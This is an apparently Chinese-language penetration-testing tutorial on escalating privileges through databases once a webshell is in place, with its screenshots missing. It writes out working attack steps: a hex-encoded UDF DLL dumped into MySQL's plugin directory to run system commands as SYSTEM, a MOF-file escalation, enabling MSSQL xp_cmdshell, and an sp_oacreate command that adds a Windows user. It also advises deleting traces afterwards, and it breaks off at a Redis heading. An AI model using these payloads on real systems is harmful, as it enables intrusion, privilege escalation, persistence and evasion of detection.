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数据库提权

数据库提权​

Mysql-UDF提权​

蚁剑连接webshell后连接数据库，账户为弱密码（root/root）

查询数据库版本

image-20221107210124960

查看插件目录

select @@plugin_dir

image-20221107210416151

查看是否有写入限制

show global variables like '%secure%';

image-20221107210824544

将DLL文件导出到指定目录下（以下为dll文件的十六进制，解码后可看到哪些函数可以被创建

SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000004d477bd0092615830926158309261583005e86830b261583005e808308261583005e968307261583005e91830b2615832ee06e830a2615830926148325261583005e9c8308261583005e878308261583005e8483082615835269636809261583000000000000000000000000000000000000000000000000504500004c0103004afe9f5a0000000000000000e00002210b010900001000000010000000600000607c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020000000000100000100000000010000010000000000000100000007c83000008020000b4820000c800000000800000b402000000000000000000000000000000000000848500001000000000000000000000000000000000000000000000000000000000000000000000002c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d090208b92bcf11b11ceea24f550000560c000000220000260000a8ffffffff8b4c240833c03901741656578b7c24146a0c59be000010dcf3a566a55fb0015e5dfb77fbc38b44240c1a6a071611108bf8183218ff63db6f1ca45fc7011e1200210883380175128b40040df6776f0700750a1004c6000132c0c3530abf1df68d3c3053a454082d08ff30ff15fff6ee776c885985c075085614c601011bc8568d71018a11fd6fdffe4184d275f98b54142bce890a32558bec8b4d0c833902b7d860bf5374148b7d10915c5453eb4cbf9dbddf8b417d740f1b707c1bebe5836004dbb1ffb7001a0c8b48048b008d4401025072a0594c08dfc8d7b5891678113006a44ceb6c57beb7b2b85f5e5da30421740833dbb63ff6a8591353568b742410d878534602db85db5bb6460851c78d5c4257e8240b75eeeebfe01400c604070008ff70041e0553b1db1b921a22c418535720030054090f09b7086a995b0f98599954cf2d343713b8f4540b1edeb60d818403552251519d35dffed6fedf576800f762d66a018945fc068bf08b4560dd7ff70cc606004533ff595939387471683cc071c6fedfda9c12260c3bc7745b506a04ff75fc149073e1edd7a9fd48533afc8d48911040b963dbff2bc18bd88d043b505630f8268c5330d8ad8dbd5f03fe570e940de57df8463fe6364c2066ba5b1810a4803e0059169eb0ff741a8bc6c64437ff00594d1489c906987bebd86f183e5f205ec9c3eed7b235dcbaf37d574708c45030087bdbdacdc9c26a4078c710548d4601b9e07e614251724f0856ff31cf6bafdd9db694c66aff8dc32082f63a58b0b6030d092c23005f7cc36e57036c6a081d1290ac0aa88365fc2f6c2f2c2d4592d0eb071b408f65e8c70bbfd66e42feff000d1fedc25e3bffdb17b60d08209a02f3c3e90806f58bff56688000002d8c6d675880985608845aa3bde0febb062358045485f675054daa83260076fbb7db4508c36f08ed09acc704240607ff0b4c113637598d71ffcf9c0bbf77dfc9750e39056b107e3cff7310830b01fbeec6bb8b0910548b098f57890a23480f85d47d618cbbad641718068b79040838071b76edeebb1e50eb184aa705b8e61768b0b030d8e803a83c0957c1d6bbaeb5d6a1e7e9e2573ca12f4c6a6ff777c3025efd096a1fee76eb3caa10c80475ed7befc0c7051f281a70e027071bdff79d5cb520bc04b81b6a5635b952eb782b7339b2e3696ff7defd7340393d155c741c68062809ac43db6b85850d9e1034252316ffe666f862f154b201dc0801592cc2b1a1db78049ddfdbf62413d90fd4fc83f80266b16f6cb0d2595bffa0584b77783bb5783106350f8487c71996ee4cd3543bf81810897d82efc796be35fac87251833f8af36a7c398587b4f10774e9ffc8d60f7c89c5db9bb5d955f85615441b474ded5be38ef88a394d1003d00874b48909437aa36d020c1ad3f8eba71c3162cc5a64442e386161fb0a58064c32fc19503f1bdf720443375bc9c20cc710fb02231fb2288b2ef28b5d081cae0fdb9b54e433c95cfc7d2008016c2dc6c23bf15a393a4417e4d61bfe7fafae3bf0740583fe02752e1910d03bc1e7166eb8ed57565fd03b5ee40003937b703b67115a039614168012376c7d270a8227fea0246420575062b30d661327002f527f8df61ad2061153f76a037543b067bb614f34032168742e2c0d2c3cec257feb1b71ec5a09706a7c6faae05051597c64825d900eadf62ffa8a19066b8f91b6c72ae490c396ec1640e134a9ff3b246abb41c1f17926547dbc550c0d381e33bc05bc595d382281ec2832f7869f365f212043211c895e2118891d05f78ec243143c21a2aa210c668c186c5ffbda3806252c0620080605dd2dcdd20425002d7ffc9c8f7ab6b1f6143095562407042831d6fedb7f0807348b85e0fca0aa701ddbb5b395011c1920241318092b18476a565f201cb360c32c9f7b8985d8320a04dc03b557e01b243468dedfd1f7d8d360ce2879d40a2c833d208dbdc3da00f923685b1b300bdfaf67f534c97f23401ec25f6a4849918f144a50152e9df458aaf8a29c10f3eb67611c7e052c37d4598feded8321b9273551e0f5ee3bdc0a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INTO DUMPFILE 'C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';

image-20221107210842964

执行SQL语句创建自定义函数

create function sys_eval returns string soname 'udf.dll';

image-20221107211252156

执行命令，权限为system

select sys_eval("whoami");

image-20221107211429304

之后可以创建用户，然后加入到administrators组中，接着删除痕迹

drop function sys_eval;
delete from mysql.func where name="sys_eval";

Mysql-MOF提权​

准备一个mof文件，内容如下：

image-20221107212427593

查看是否有写入限制

show global variables like '%secure%';

image-20221107212535767

上传mof文件到可写目录下

image-20221107212840848

执行 load_file 及 into dumpfile 把文件导出到正确的位置

select load_file('c:/phpStudy/WWW/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

image-20221107212908945

查看是否有账户增加

image-20221107212951472

Mssql​

SP_OACreate提权​

蚁剑连接mssql数据库，判断权限是不是 sa

select is_srvrolemember('sysadmin');

image-20221107214619611

判断 xp_cmdshell 扩展存储是否存在

select count(*) from master.dbo.sysobjects where xtype = 'x' AND name='xp_cmdshell'

image-20221107214726017

查看xp_cmdshell是否启动

SELECT * FROM sys.configurations WHERE name='xp_cmdshell' OR name='show advanced options'

image-20221107224843923

开启xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

image-20221107225212316

关闭xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

利用xp_cmdshell执行命令

exec master..xp_cmdshell 'whoami';

image-20221107224654751

SP_OACreate提权​

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user banana Admin@22 /add'

image-20221107230251579

image-20221107230326996

Redis​